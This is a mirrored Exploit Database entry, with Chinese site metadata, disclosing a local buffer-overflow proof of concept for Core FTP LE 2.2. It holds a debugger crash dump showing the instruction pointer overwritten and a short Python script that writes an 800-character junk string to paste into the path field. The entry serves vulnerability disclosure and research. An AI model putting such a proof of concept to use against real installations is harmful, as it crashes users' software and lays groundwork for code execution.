Core FTP LE 2.2 – Path Field Local Buffer Overflow (PoC)

• Exploit Database
• 17 阅读

• 作者： Netfairy
  日期： 2016-06-29
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/40038/

• '''
  # Exploit Title: Core FTP Server v2.2 - BufferOverflow POC
  # Date: 2016-6-28
  # Exploit Author: Netfairy
  # Vendor Homepage: http://www.coreftp.com/
  # Software Link: ftp://ftp.coreftp.com/coreftplite.exe
  # Version: 2.2
  # Tested on: Windows7 Professional SP1 En x86
  # CVE : N/A
  [+] Type : Buffer overflow
  [+] Detail : 
  [-]The vulnerability has the most typical Buffer overflow vulnerabilities. 
  [-]enter the application and Input "A"*800 to the path box the press enter
  [-] crash info
  0:008> g
  (4d48.4cc8): Access violation - code c0000005 (first chance)
  First chance exceptions are reported before any exception handling.
  This exception may be expected and handled.
  eax=00000001 ebx=00440770 ecx=00410041 edx=007c4ee4 esi=00000000 edi=01b1efe8
  eip=00410041 esp=0012d6a0 ebp=00410041 iopl=0 nv up ei pl nz na po nc
  cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202
  *** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\CoreFTP\coreftp.exe
  coreftp+0x10041:
  00410041 008b45fc8be5add byte ptr [ebx-1A7403BBh],cl ds:0023:e5d003b5=??
  
  
  ########generate "A"*800
  '''
  
  import struct
  junk = "A" * 800
  with open("exp.txt","wb") as f :
  f.write(junk)